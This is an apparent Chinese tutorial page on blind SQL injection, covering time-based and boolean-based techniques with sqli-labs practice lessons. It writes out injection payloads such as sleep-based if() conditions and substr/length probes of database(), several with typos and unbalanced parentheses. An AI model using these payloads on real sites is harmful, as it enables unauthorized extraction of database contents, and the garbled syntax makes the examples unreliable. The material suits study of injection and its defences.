SQL注入实战:盲注

盲注:

1、当攻击者利用SQL注入漏洞进行攻击时,有时候web应用程序会显示,后端数据库执行SQL查询返回的错误信息,这些信息能帮助进行SQL注入,但更多时候,数据库没有输出数据web页面,这是攻击者会查询一系列的true或false问题,或者基于时间判断的问题,强制从数据库获取数据。

2、Blind SQL(盲注)是注入攻击的其中一种,向数据库发送true或false这样的问题,并根据应用程序返回的信息判断结果,这种攻击的出现是因为应用程序配置为只显示常规错误,并不显示sql语句的错误,这种情况并没有解决SQL注入存在的代码问题。

3、盲注可以分为基于不二的盲注和基于事件的盲注

一:基于时间的盲注

1、延时注入,用的最多的注入

2、常用的判断语句:

' and if(1=0,1,sleep(10)) --+

" and if(1=0,1,sleep(10)) --+

) and if(1=0,1,sleep(10)) --+

') and if(1=0,1,sleep(10)) --+

") and if(1=0,1,sleep(10)) --+

利用if(条件,0,1)函数,当条件为真返回0,假则返回1

sqli-lab 9-10实验就是基于时间的盲注

?id=1' and if(ascli(substr(database(),1.1))=115,sleep(5),1)--+

二:基于布尔的盲注

基于布尔型的盲注,我们通常采用下面的方法猜解字符串,

select length(database());

select substr(database(),1,1);

select length ascii(substr(database(),1,1);

select length ascii(substr(database(),1,1)>N;

select length ascii(substr(database(),1,1)=N;

select length ascii(substr(databa

se(),1,1)<N;

输入:?id=1

输入:?id=1'

输入:?id=1' and length(database())=8 --+ (查看数据库的长度)

把=8改成=9,会发现没有了 (说明数据库长度为8)

相关推荐
上学的小垃圾24 分钟前
01-数据库系统概述
数据库
二进制漫游记1 小时前
FastAPI项目集成 Qdrant向量数据库+阿里云Embedding完整实战(工具封装+业务调用)
数据库·python·阿里云·embedding
2501_928996221 小时前
GPT-4o换DeepSeek迁移成本多少?中科热备解析API聚合平台技术账本
前端·数据库·人工智能
泡干脆面就番茄3 小时前
MySQL_子查询_分页查询与联合查询详解
数据库·mysql
devpotato4 小时前
缓存与数据库更新顺序不一致问题
java·数据库·redis
天若有情6734 小时前
Node+MySQL小型全栈笔记项目实战课程分享
数据库·笔记·mysql
wxwx_bscxy3225 小时前
基于springboot宠物领养系统的设计与实现
数据库·spring boot·后端·spring·宠物
九月要晚安5 小时前
达梦DW与AFC对比
数据库
实战派K8S&DB6 小时前
如何在内网配置 TiDB 数据库 Agent
数据库·人工智能·分布式·tidb
实战派K8S&DB6 小时前
《基于 Dify + FastAPI + PyTiDB 搭建大模型驱动的 TiDB 智能运维 Agent》
运维·数据库·分布式·云原生·tidb·fastapi